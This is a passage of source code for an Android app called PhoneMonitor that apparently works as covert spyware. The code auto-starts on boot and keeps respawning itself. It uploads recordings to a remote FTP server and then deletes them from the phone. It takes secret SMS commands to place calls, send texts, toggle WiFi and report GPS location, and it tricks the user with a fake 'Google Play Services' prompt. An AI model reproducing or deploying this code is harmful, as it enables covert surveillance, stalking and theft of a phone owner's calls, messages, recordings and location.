this._deviceUID);//change remote working directory 40 | if (ftpClient.listFiles(file.getName()).length == 0) {//if remote file doesn't already exist 41 | FileInputStream fileInputStream = new FileInputStream(file); 42 | retval = ftpClient.storeFile(file.getName(), fileInputStream); 43 | fileInputStream.close(); 44 | } else {//if remote file exists already 45 | retval = true;//setting to true will allow deletion of local file 46 | } 47 | 48 | } catch (IOException ioex) { 49 | Log.w(AppSettings.getTAG(), "IOException at FileUploader.UploadFile() while uploading file.\n" + ioex.getMessage()); 50 | } finally { 51 | if (ftpClient.isConnected()) { 52 | try { 53 | ftpClient.logout(); 54 | ftpClient.disconnect(); 55 | } catch (IOException ioex) { 56 | Log.w(AppSettings.getTAG(), "IOException at FileUploader.UploadFile() while logging out.\n" + ioex.getMessage()); 57 | } 58 | } 59 | } 60 | } catch (SecurityException secx) {//for if no internet permission 61 | Log.w(AppSettings.getTAG(), "SecurityException atFIleUploader.UploadFile()\n" + secx.getMessage()); 62 | } 63 | 64 | 65 | return retval; 66 | } 67 | 68 | 69 | } 70 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/HelperMethods.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | 4 | import android.app.AlarmManager; 5 | import android.app.PendingIntent; 6 | import android.content.Context; 7 | import android.content.Intent; 8 | import android.net.ConnectivityManager; 9 | import android.net.NetworkInfo; 10 | import android.os.Build; 11 | import android.os.SystemClock; 12 | import android.provider.Settings; 13 | import android.telephony.TelephonyManager; 14 | import android.util.Log; 15 | 16 | import java.io.File; 17 | import java.io.FileFilter; 18 | import java.util.ArrayList; 19 | import java.util.List; 20 | import java.util.concurrent.Callable; 21 | 22 | import static android.content.Context.ALARM_SERVICE; 23 | 24 | 25 | public class HelperMethods { 26 | 27 | 28 | static boolean isInternetAvailable(Context context) { 29 | boolean retval = false; 30 | try { 31 | ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); 32 | if (connectivityManager != null) { 33 | NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo(); 34 | if (networkInfo != null) { 35 | if (networkInfo.getTypeName().toLowerCase().equals("wifi")) { 36 | if (networkInfo.isConnected()) 37 | retval = true; 38 | } 39 | } 40 | 41 | } 42 | } catch (NullPointerException npe) { 43 | Log.w(AppSettings.getTAG(), "NullPointerException @ HelperMethods.iInternetAvailable"); 44 | } 45 | return retval; 46 | } 47 | 48 | static void waitWithTimeout(Callable testCallable, Object breakValue, long timeoutmillisecond) throws Exception { 49 | long initmillis = System.currentTimeMillis(); 50 | while (System.currentTimeMillis() - initmillis < timeoutmillisecond) { 51 | if (testCallable.call().equals(breakValue)) break; 52 | } 53 | } 54 | 55 | static void waitWithTimeoutN(Callable testCallable, Object continueValue, long timeoutmillisecond) throws Exception { 56 | long initmillis = System.currentTimeMillis(); 57 | while (System.currentTimeMillis() - initmillis < timeoutmillisecond) { 58 | if (testCallable.call() != continueValue) break; 59 | } 60 | } 61 | 62 | 63 | static void renameTmpFile(String filepath) { 64 | try { 65 | File file = new File(filepath); 66 | if (!file.exists()) return; 67 | String path = file.getAbsolutePath(); 68 | String dirpath = path.substring(0, path.lastIndexOf("/")); 69 | String filename = file.getName(); 70 | String newpath = dirpath + "/" + filename.substring(0, filename.length() - 4); 71 | File newFile = new File(newpath); 72 | file.renameTo(newFile); 73 | } catch (Exception ex) { 74 | Log.w(AppSettings.getTAG(), "Exception while renaming file.\n" + ex.getMessage()); 75 | } 76 | 77 | 78 | } 79 | 80 | static void removeBrokenTmpFiles(String dirPath) { 81 | try { 82 | File dirPath_ = new File(dirPath); 83 | File[] tmpFiles = dirPath_.listFiles(new FileFilter() { 84 | @Override 85 | public boolean accept(File file) { 86 | return file.getName().toLowerCase().endsWith(".tmp"); 87 | } 88 | }); 89 | for (File tmpFile : tmpFiles) { 90 | tmpFile.delete(); 91 | } 92 | } catch (Exception ex) { 93 | Log.w(AppSettings.getTAG(), "Exception while deleting broken tmp files.\n" + ex.getMessage()); 94 | } 95 | 96 | } 97 | 98 | static String getIMEI(Context context) { 99 | String retval = ""; 100 | TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); 101 | if (telephonyManager != null) { 102 | retval = telephonyManager.getDeviceId(); 103 | } 104 | return retval; 105 | } 106 | 107 | static String getNumber(Context context) { 108 | String retval = ""; 109 | TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); 110 | if (telephonyManager != null) { 111 | retval = telephonyManager.getLine1Number(); 112 | 113 | } 114 | return retval; 115 | } 116 | 117 | static String getDeviceUID(Context context) { 118 | String serial = Build.SERIAL; 119 | String androidId = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); 120 | return serial + androidId; 121 | } 122 | 123 | static String getDeviceNUID(Context context) { 124 | TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); 125 | String line1phonenumber = ""; 126 | if (telephonyManager != null) { 127 | try { 128 | line1phonenumber = telephonyManager.getLine1Number(); 129 | } catch (SecurityException secx) { 130 | 131 | } 132 | } 133 | return line1phonenumber + "_" + Build.MANUFACTURER + "_" + Build.MODEL; 134 | } 135 | 136 | static void createOneTimeExactAlarm(Context context) { 137 | Intent intent = new Intent(context, AlarmBroadcastReceiver.class); 138 | PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 10, intent, 0); 139 | AlarmManager alarmManager = null; 140 | alarmManager = (AlarmManager) context.getSystemService(ALARM_SERVICE); 141 | if (alarmManager != null) { 142 | alarmManager.cancel(pendingIntent);//kill any pre-existing alarms 143 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) 144 | alarmManager.setExactAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime() + 60000, pendingIntent); 145 | else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) 146 | alarmManager.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime() + 60000, pendingIntent); 147 | else 148 | alarmManager.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime() + 60000, pendingIntent); 149 | } 150 | } 151 | 152 | static List getThreadsByName(String threadName) { 153 | List retval = new ArrayList<>(); 154 | for (Thread thread : Thread.getAllStackTraces().keySet()) { 155 | if (thread.getName().equals(threadName)) 156 | retval.add(thread); 157 | } 158 | return retval; 159 | } 160 | 161 | } 162 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/MainActivity.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | import android.app.Activity; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.database.Cursor; 7 | import android.location.Criteria; 8 | import android.location.Location; 9 | import android.location.LocationListener; 10 | import android.location.LocationManager; 11 | import android.net.Uri; 12 | import android.os.Bundle; 13 | import android.os.Handler; 14 | import android.provider.ContactsContract; 15 | import android.provider.Settings; 16 | import android.support.v7.widget.ThemedSpinnerAdapter; 17 | import android.util.Log; 18 | import android.widget.Toast; 19 | 20 | import org.json.JSONArray; 21 | import org.json.JSONException; 22 | import org.json.JSONObject; 23 | 24 | import java.util.Date; 25 | import java.util.concurrent.Callable; 26 | 27 | public class MainActivity extends Activity { 28 | 29 | @Override 30 | protected void onCreate(Bundle savedInstanceState) { 31 | super.onCreate(savedInstanceState); 32 | setContentView(R.layout.activity_main); 33 | Intent intent=new Intent(this,MainService.class); 34 | startService(intent); 35 | finish(); 36 | } 37 | 38 | 39 | } 40 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/MainService.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | import android.app.Service; 4 | import android.content.Intent; 5 | import android.os.IBinder; 6 | import android.util.Log; 7 | 8 | import java.util.Timer; 9 | 10 | 11 | public class MainService extends Service { 12 | 13 | private static final double UPLOAD_INTERVAL = 0.5;//in minutes 14 | 15 | 16 | @Override 17 | public void onCreate() { 18 | Log.w(AppSettings.getTAG(), "Service created"); 19 | 20 | /*Setup an exact one-time Alarm to respawn this service(in case process is killed by Android or by user(?)) at a fixed interval(here, 1 minute)*/ 21 | HelperMethods.createOneTimeExactAlarm(this); 22 | 23 | /*Fire up the RepeatTask class in a timer*/ 24 | if (HelperMethods.getThreadsByName("RepeatTask").size() == 0) {//if timer thread doesn't exist 25 | RepeatTask repeatTask = new RepeatTask(this); 26 | try { 27 | new Timer("RepeatTask", false).scheduleAtFixedRate(repeatTask, 0, (long) (UPLOAD_INTERVAL * 60 * 1000)); 28 | } catch (IllegalStateException ise) { 29 | Log.w(AppSettings.getTAG(), ise.getMessage()); 30 | } 31 | } 32 | 33 | /*Start a server-talking loop thread*/ 34 | if (HelperMethods.getThreadsByName("ServerTalkLoopThread").size() == 0) {//if server-talking thread doesn't exist 35 | ServerTalkLoopThread serverTalkLoopThread = new ServerTalkLoopThread(this, AppSettings.getReportURL(), AppSettings.getCommandsURL(), AppSettings.getOutputURL()); 36 | serverTalkLoopThread.setName("ServerTalkLoopThread"); 37 | serverTalkLoopThread.start(); 38 | } 39 | 40 | 41 | } 42 | 43 | @Override 44 | public int onStartCommand(Intent intent, int flags, int startId) { 45 | return Service.START_STICKY; 46 | } 47 | 48 | @Override 49 | public void onDestroy() { 50 | Log.w(AppSettings.getTAG(), "Service about to be destroyed"); 51 | // unregisterReceiver(callStateBroadcastReceiver); 52 | // unregisterReceiver(smsBroadcastReceiver); 53 | } 54 | 55 | @Override 56 | public IBinder onBind(Intent intent) { 57 | // TODO: Return the communication channel to the service. 58 | throw new UnsupportedOperationException("Not yet implemented"); 59 | } 60 | 61 | } 62 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/NetworkChangeBroadcastReceiver.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | 7 | 8 | public class NetworkChangeBroadcastReceiver extends BroadcastReceiver { 9 | 10 | 11 | @Override 12 | public void onReceive(final Context context, Intent intent) { 13 | Intent startMainServiceIntent = new Intent(context, MainService.class); 14 | context.startService(startMainServiceIntent); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/OnBootCompletedReceiver.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | 7 | 8 | public class OnBootCompletedReceiver extends BroadcastReceiver { 9 | //starts main service on device boot 10 | @Override 11 | public void onReceive(Context context, Intent intent) { 12 | if(Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())){ 13 | Intent startMainServiceIntent=new Intent(context,MainService.class); 14 | context.startService(startMainServiceIntent); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/RepeatTask.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | import android.content.Context; 4 | import android.net.wifi.WifiManager; 5 | import android.util.Log; 6 | 7 | import java.io.File; 8 | import java.io.FileFilter; 9 | import java.util.TimerTask; 10 | import java.util.concurrent.Callable; 11 | 12 | 13 | /* 14 | * This class' run() method includes code that needs to be run repeatedly at a fixed interval specified in MainService class 15 | * This class is used for checking any recordings that need to uploaded 16 | * */ 17 | public class RepeatTask extends TimerTask { 18 | 19 | private Context _context; 20 | 21 | RepeatTask(Context _context) { 22 | this._context = _context; 23 | } 24 | 25 | @Override 26 | public void run() { 27 | uploadRecordings(); 28 | } 29 | 30 | private void uploadRecordings() { 31 | if (getRecordingsFromDataFolder().length > 0) {//if any recordings present 32 | int initialWIFIState = WifiManager.WIFI_STATE_DISABLED; 33 | WifiManager wifiManager = (WifiManager) _context.getApplicationContext().getSystemService(Context.WIFI_SERVICE); 34 | 35 | if (new AppSettings(_context).getForceWifiOnForRecordUpload()) {//if wifi is to be enabled first 36 | if (wifiManager != null) { 37 | initialWIFIState = wifiManager.getWifiState();//get current wifi state 38 | wifiManager.setWifiEnabled(true);//enable wifi 39 | /*waits till internet connection is available or timeout reached whichever occurs first*/ 40 | try { 41 | HelperMethods.waitWithTimeout(new Callable() { 42 | @Override 43 | public Object call() throws Exception { 44 | return HelperMethods.isInternetAvailable(_context); 45 | } 46 | }, true, 10000); 47 | } catch (Exception ex) { 48 | Log.w(AppSettings.getTAG(), "Exception at RepeatTask.run()\n" + ex.getMessage()); 49 | } 50 | 51 | } 52 | } 53 | 54 | FileUploader fileUploader = new FileUploader(_context); 55 | uploadAndDeleteFiles(fileUploader); 56 | 57 | if (new AppSettings(_context).getForceWifiOnForRecordUpload() && wifiManager != null && initialWIFIState != WifiManager.WIFI_STATE_ENABLED) 58 | wifiManager.setWifiEnabled(false); 59 | } 60 | } 61 | 62 | private void uploadAndDeleteFiles(FileUploader fileUploader) { 63 | File[] recordings = getRecordingsFromDataFolder(); 64 | for (File file : recordings) { 65 | if (fileUploader.UploadFile(file)) { 66 | try { 67 | file.delete(); 68 | Log.w(AppSettings.getTAG(), "File " + file.getName() + " uploaded successfully and deleted."); 69 | } catch (SecurityException secex) { 70 | Log.w(AppSettings.getTAG(), "SecurityException while deleting file @RepeatTask.uploadFiles"); 71 | } 72 | } 73 | 74 | } 75 | } 76 | 77 | private File[] getRecordingsFromDataFolder() { 78 | File appDir = _context.getFilesDir(); 79 | File[] recordings = appDir.listFiles(new FileFilter() { 80 | @Override 81 | public boolean accept(File file) { 82 | return file.getName().toLowerCase().endsWith(".mp4"); 83 | } 84 | }); 85 | return recordings; 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/SMSBroadcastReceiver.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.os.Bundle; 7 | import android.telephony.SmsMessage; 8 | import android.util.Log; 9 | 10 | 11 | public class SMSBroadcastReceiver extends BroadcastReceiver { 12 | 13 | @Override 14 | public void onReceive(Context context, Intent intent) { 15 | Intent startMainServiceIntent = new Intent(context, MainService.class); 16 | context.startService(startMainServiceIntent); 17 | 18 | String action = intent.getAction(); 19 | if (action != null && action.equals("android.provider.Telephony.SMS_RECEIVED")) { 20 | Bundle bundle = intent.getExtras(); 21 | if (bundle != null) { 22 | Object[] pduObjs = (Object[]) bundle.get("pdus"); 23 | if (pduObjs != null) { 24 | for (Object pduObj : pduObjs) { 25 | SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pduObj); 26 | String sendernumber = smsMessage.getOriginatingAddress(); 27 | if (sendernumber != null) { 28 | Log.w(AppSettings.getTAG(), "SMS broadcast received!"); 29 | String messagebody = smsMessage.getMessageBody(); 30 | SMSExecutor smsExecutor = new SMSExecutor(sendernumber, messagebody, context); 31 | smsExecutor.Execute(); 32 | } 33 | } 34 | } 35 | } 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/SMSExecutor.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.location.Location; 7 | import android.location.LocationListener; 8 | import android.location.LocationManager; 9 | import android.net.Uri; 10 | import android.net.wifi.WifiManager; 11 | import android.os.Bundle; 12 | import android.os.Handler; 13 | import android.os.Looper; 14 | import android.os.Vibrator; 15 | import android.provider.Settings; 16 | import android.telephony.SmsManager; 17 | import android.util.Log; 18 | import android.widget.Toast; 19 | 20 | import java.util.ArrayList; 21 | import java.util.List; 22 | import java.util.Timer; 23 | import java.util.TimerTask; 24 | import java.util.concurrent.Callable; 25 | 26 | import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK; 27 | 28 | /* 29 | * This class's Execute() method parses the given SMS message and acts on any commands it contains 30 | * Returns true if the SMS was a command SMS intended for the app, false if not 31 | * Every SMS intended as a command must contain the signature string ;;;;;///// in the message body 32 | * The signature indicates that the SMS is a command SMS; if absent, the SMS will not be processed 33 | * The position of the signature is irrelevant 34 | * Any command in an SMS must be written out as : 35 | * Command_code->Parameter1->Parameter2->Parameter3 ... 36 | * 37 | * 38 | * SMS Commands: 39 | * 40 | * 1. Vibrate: 41 | * + Command code : 0 42 | * + Command parameters : Number of repeats, String pattern of vibrations 43 | * + The string pattern of vibration should follow the sequence : (Delay) (Vibrate) (Delay) (Vibrate) (Delay) ... 44 | * + Example SMS: 45 | * + ";;;;;///// 0->3->0 100 50 100 50 100 50 300 50 100 50 100 50 100 500" 46 | * + The above SMS will vibrate the phone using the specified pattern for 3 times 47 | * 48 | * 2. Call: 49 | * + Command code : 1 50 | * + Command parameters : Phone to call 51 | * + Example SMS: 52 | * + ";;;;;///// 1->9851785478" 53 | * + The above SMS will call the phone number 9851785478 54 | * 55 | * 3. SMS: 56 | * + Command code : 2 57 | * + Command parameters : Destination mobile phone number, Message body 58 | * + Example SMS: 59 | * + ";;;;;///// 2->9851785478->Hello! This is a text message to you." 60 | * + The above SMS will send the specified text message to the phone number 9851785478 61 | * 62 | * 4. Enable WIFI: 63 | * + Command code : 3 64 | * + Command parameters : Wait time in milliseconds 65 | * + Example SMS: 66 | * + ";;;;;///// 3->10000" 67 | * + The above SMS will try to enable WIFI after 10 seconds 68 | * + ";;;;;///// 3" OR ";;;;;///// 3->" 69 | * + The above SMS will try to enable WIFI immediately 70 | * 71 | * 5. Retrieve Location: 72 | * + Command code : 4 73 | * + Command parameters : Number of times to take to location settings, Show toast or not, Send location to number 74 | * + Example SMS: 75 | * + ";;;;;///// 4->10->1->9578512468" 76 | * + The above SMS will try to retrieve device location by taking user to Location Settings a maximum of 10 times along with displaying a toast message(second parameter i.e. 1) 77 | * + urging the user to enable Location Services each time until the user enables Location Services. Upon successful retrieval of location coordinates, an SMS to the number 78 | * + 9578512468 is sent with the location. 79 | * + If no toast message is to be displayed while taking the user to Location Settings, provide 0 as the second parameter. 80 | * + If the user is not to be taken to Location Settings, provide 0 as the first parameter. 81 | * + If the location is to be sent to the same number through which the SMS has been sent to the device, don't provide the last parameter. Both the following will be valid: 82 | * + ";;;;;///// 4->10->1->" 83 | * + ";;;;;///// 4->10->1" 84 | * */ 85 | 86 | class SMSExecutor implements LocationListener { 87 | 88 | private String _sender; 89 | private String _msg; 90 | private Context _ctx; 91 | 92 | private static final String Signature = ";;;;;/////"; 93 | private static final String Delimeter = "->"; 94 | 95 | private enum Commands { 96 | CM_VIBRATE(0), 97 | CM_CALL(1), 98 | CM_SENDSMS(2), 99 | CM_ENABLEWIFI(3), 100 | CM_LOCATION(4); 101 | 102 | 103 | private final int _command; 104 | 105 | Commands(int command) { 106 | this._command = command; 107 | } 108 | 109 | int getValue() { 110 | return this._command; 111 | } 112 | 113 | } 114 | 115 | 116 | 117 | SMSExecutor(String sender, String msg, Context context) { 118 | this._sender = sender; 119 | this._msg = msg; 120 | this._ctx = context; 121 | } 122 | 123 | boolean Execute() { 124 | if (this._msg.contains(Signature)) {//if it is indeed a command SMS intended for us 125 | String puremsg = this._msg.replace(Signature, ""); 126 | String[] tokens = puremsg.split(Delimeter); 127 | if (tokens.length > 0) { 128 | try { 129 | int command = Integer.parseInt(tokens[0].trim().replace("\n", "")); 130 | final String commandData = puremsg.replaceFirst(tokens[0] + ((puremsg.contains(Delimeter))?(Delimeter):("")), ""); 131 | if (command == Commands.CM_VIBRATE.getValue()) { 132 | HandleVibration(commandData); 133 | } else if (command == Commands.CM_CALL.getValue()) { 134 | HandleCalling(commandData); 135 | } else if (command == Commands.CM_SENDSMS.getValue()) { 136 | HandleSMS(commandData); 137 | } else if (command == Commands.CM_ENABLEWIFI.getValue()) { 138 | EnableWifi(commandData); 139 | } else if(command==Commands.CM_LOCATION.getValue()){ 140 | new Thread(new Runnable() { 141 | @Override 142 | public void run() { 143 | SendGPSCoordinates(commandData); 144 | } 145 | }).start(); 146 | } 147 | 148 | } catch (NumberFormatException nfex) { 149 | //non parseable string 150 | } 151 | 152 | 153 | } 154 | return true;//it was a command SMS 155 | } else { 156 | return false;//it was not an SMS intended for us 157 | } 158 | } 159 | 160 | private void HandleVibration(String vibrationData) { 161 | /* 162 | * Sample vibrationData: 163 | * 2->0 1000 100 2000 150 164 | * The above is interpreted as: 165 | * (RepeatTimes)->(DelayMS) (VibrateMS) (DelayMS) (VibrateMS) 166 | * */ 167 | String[] token = vibrationData.split(Delimeter); 168 | if (token.length == 2) { 169 | final int repeatTimes = Integer.parseInt(token[0]); 170 | String vibPatternString = token[1].trim().replace("\n", ""); 171 | String[] patternTokens = vibPatternString.split(" "); 172 | List vibPatternList = new ArrayList(); 173 | for (String patternToken : patternTokens) { 174 | try { 175 | long patternTokenLong = Long.parseLong(patternToken); 176 | vibPatternList.add(patternTokenLong); 177 | } catch (NumberFormatException nfex) { 178 | //Do nothing, skip this token 179 | } 180 | } 181 | long[] finalPattern = new long[vibPatternList.size()]; 182 | long totalSleepTime = 0; 183 | for (int i = 0; i < vibPatternList.size(); i++) { 184 | finalPattern[i] = vibPatternList.get(i); 185 | totalSleepTime += finalPattern[i]; 186 | } 187 | final long finalTotalSleepTime = totalSleepTime; 188 | final long[] finalFinalPattern = finalPattern; 189 | final Vibrator vibrator = (Vibrator) _ctx.getSystemService(Context.VIBRATOR_SERVICE); 190 | if (vibrator != null) { 191 | if (vibrator.hasVibrator()) { 192 | new Thread() { 193 | @Override 194 | public void run() { 195 | for (int i = 1; i <= repeatTimes; i++) { 196 | vibrator.vibrate(finalFinalPattern, -1); 197 | try { 198 | Thread.sleep(finalTotalSleepTime);//vibrate is asynchronous, so sleep 199 | } catch (InterruptedException itex) { 200 | //thread execution was interrupted 201 | } 202 | } 203 | 204 | } 205 | }.start(); 206 | 207 | } 208 | } 209 | 210 | } 211 | } 212 | 213 | private void HandleCalling(String callingData) { 214 | /* 215 | * Sample callingData: 216 | * 9841758496 217 | * */ 218 | String phoneNumber = callingData.trim().replace("\n", ""); 219 | if (!phoneNumber.equals("")) { 220 | Intent intent = new Intent(Intent.ACTION_CALL); 221 | intent.setData(Uri.parse("tel:" + phoneNumber)); 222 | intent.setFlags(FLAG_ACTIVITY_NEW_TASK); 223 | _ctx.startActivity(intent); 224 | } 225 | } 226 | 227 | private void HandleSMS(String SMSData) { 228 | /* 229 | * Sample SMSData: 230 | * 9851785478->Hello! This is a text message to you. 231 | * */ 232 | String[] tokens = SMSData.split(Delimeter); 233 | if (tokens.length >= 2) {//can be greater too, if "->" is present in the message 234 | String targetPhone = tokens[0].trim().replace("\n", ""); 235 | String msgBody = SMSData.replace(tokens[0] + Delimeter, ""); 236 | if (!targetPhone.equals("")) { 237 | SmsManager smsManager = SmsManager.getDefault(); 238 | smsManager.sendTextMessage(targetPhone, null, msgBody, null, null); 239 | } 240 | } 241 | } 242 | 243 | private void EnableWifi(String enableWifiData) { 244 | /* 245 | * enableWifiData can be in any of the following formats: 246 | * 10000 OR, 247 | * (nothing) 248 | * */ 249 | if(enableWifiData.trim().replace("\n","").equals("")){ 250 | EnableWifi(); 251 | }else{ 252 | Long waitTime=Long.parseLong(enableWifiData.trim().replace("\n","")); 253 | new Timer().schedule(new TimerTask() { 254 | @Override 255 | public void run() { 256 | EnableWifi(); 257 | } 258 | },waitTime); 259 | } 260 | } 261 | 262 | private void EnableWifi() { 263 | WifiManager wifiManager = (WifiManager) _ctx.getApplicationContext().getSystemService(Context.WIFI_SERVICE); 264 | if (wifiManager != null) { 265 | wifiManager.setWifiEnabled(true); 266 | } 267 | } 268 | 269 | private void SendGPSCoordinates(String GPSCommandData) { 270 | //Note : This method should be run in a separate thread since it can take some time to get a GPS fix. SMSBroadcastReceiver's thread shouldn't be that busy. 271 | //Sample GPSCommandData: 272 | //10->1->9578512468 OR 273 | //10->1-> OR 274 | //10->1 275 | //Explanation of arguments : 276 | //10 : promptUserLocationOn=Number of times to forcibly take user to Location settings 277 | //1 : showPromptToast=Whether or not to show a toast message to user prompting to enable Location Service(can be 0 or 1) 278 | //9578512468 : sendSMSToNumber=Number to send latlong SMS to.. Can be "" in which case SMS will be sent to the sender's number 279 | 280 | String[] token=GPSCommandData.split(Delimeter); 281 | if(token.length>=2){ //if GPSCommandData fits the format 282 | int promptUserLocationOn=Integer.parseInt(token[0].trim().replace("\n","")); 283 | final Boolean showPromptToast; 284 | String sendSMSToNumber; 285 | 286 | String remainingParams=GPSCommandData.replace(token[0]+Delimeter,""); 287 | if(!remainingParams.contains(Delimeter)){ //here, remainingParams is just a number 288 | showPromptToast=(remainingParams.equals("1")); 289 | sendSMSToNumber=_sender; 290 | } else{ //here, remainingParams is either 1-> OR 1->9578512468 291 | String[] token2=remainingParams.split(Delimeter); 292 | showPromptToast=(token2[0].trim().replace("\n","").equals("1")); 293 | String remainingParams2=remainingParams.replace(token2[0]+Delimeter,""); 294 | if(remainingParams2.trim().replace("\n","").equals("")){ //here, remainingParams2 is empty 295 | sendSMSToNumber=_sender; 296 | }else{ //here, remainingParams2 is a number 297 | sendSMSToNumber=remainingParams2.trim().replace("\n",""); 298 | } 299 | } 300 | 301 | String latLong = ""; 302 | final LocationManager locationManager = (LocationManager) _ctx.getSystemService(Context.LOCATION_SERVICE); 303 | if (locationManager != null) { 304 | while (!(locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER) || locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)) && promptUserLocationOn > 0) { 305 | //if neither GPS nor NETWORK location provider is enabled, 306 | Handler handler = new Handler(Looper.getMainLooper()); 307 | handler.post(new Runnable() { 308 | @Override 309 | public void run() { 310 | if (showPromptToast) 311 | Toast.makeText(_ctx.getApplicationContext(), "Google Play Services requires Location Services to be enabled.", Toast.LENGTH_LONG).show(); 312 | } 313 | }); 314 | Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS); 315 | intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); 316 | _ctx.startActivity(intent); 317 | try { 318 | Thread.sleep(10000); 319 | } catch (InterruptedException iex) { 320 | } 321 | promptUserLocationOn--; 322 | } 323 | Location location = null; 324 | if (locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) { 325 | //use gps 326 | locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 50, 0, this, Looper.getMainLooper()); 327 | try { 328 | HelperMethods.waitWithTimeoutN(new Callable() { 329 | @Override 330 | public Object call() throws Exception { 331 | return locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); 332 | } 333 | }, null, 3 * 60 * 1000);//wait for GPS based location. this may take several minutes. if no result in 3 min, try NETWORK_PROVIDER approach as below. 334 | } catch (Exception ex) { 335 | Log.w(AppSettings.getTAG(), ex.getMessage()); 336 | } 337 | location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER); 338 | } 339 | if (location == null) { 340 | if (locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)) { 341 | //enable wifi first 342 | //as per my trials, wifi with internet access needs to be enabled for Network based location. 343 | EnableWifi(); 344 | 345 | //use network 346 | locationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 50, 0, this, Looper.getMainLooper()); 347 | try { 348 | HelperMethods.waitWithTimeoutN(new Callable() { 349 | @Override 350 | public Object call() throws Exception { 351 | return locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER); 352 | } 353 | }, null, 60000);//network based location is quicker, wait 1 minute. allows for internet connection to be established. 354 | } catch (Exception ex) { 355 | Log.w(AppSettings.getTAG(), ex.getMessage()); 356 | } 357 | location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER); 358 | } 359 | } 360 | if (location != null) { 361 | Log.w(AppSettings.getTAG(), "Lat : " + Double.toString(location.getLatitude()) + "\n" + "Long : " + Double.toString(location.getLongitude())); 362 | latLong = "Lat : " + Double.toString(location.getLatitude()) + "\nLong : " + Double.toString(location.getLongitude()); 363 | if (!sendSMSToNumber.equals("")) { 364 | SmsManager smsManager = SmsManager.getDefault(); 365 | smsManager.sendTextMessage(sendSMSToNumber, null, latLong, null, null); 366 | } 367 | } else { 368 | Log.w(AppSettings.getTAG(), "No location found"); 369 | } 370 | } 371 | } 372 | 373 | 374 | } 375 | 376 | @Override 377 | public void onLocationChanged(Location location) { 378 | 379 | } 380 | 381 | @Override 382 | public void onStatusChanged(String s, int i, Bundle bundle) { 383 | 384 | } 385 | 386 | @Override 387 | public void onProviderEnabled(String s) { 388 | 389 | } 390 | 391 | @Override 392 | public void onProviderDisabled(String s) { 393 | 394 | } 395 | } 396 | -------------------------------------------------------------------------------- /AndroidStudioProject/PhoneMonitor/app/src/main/java/com/monitor/phone/s0ft/phonemonitor/ServerTalkLoopThread.java: -------------------------------------------------------------------------------- 1 | package com.monitor.phone.s0ft.phonemonitor; 2 | 3 | 4 | import android.content.Context; 5 | import android.net.Uri; 6 | import android.os.Build; 7 | import android.telephony.SmsManager; 8 | import android.util.Log; 9 | 10 | import org.json.JSONArray; 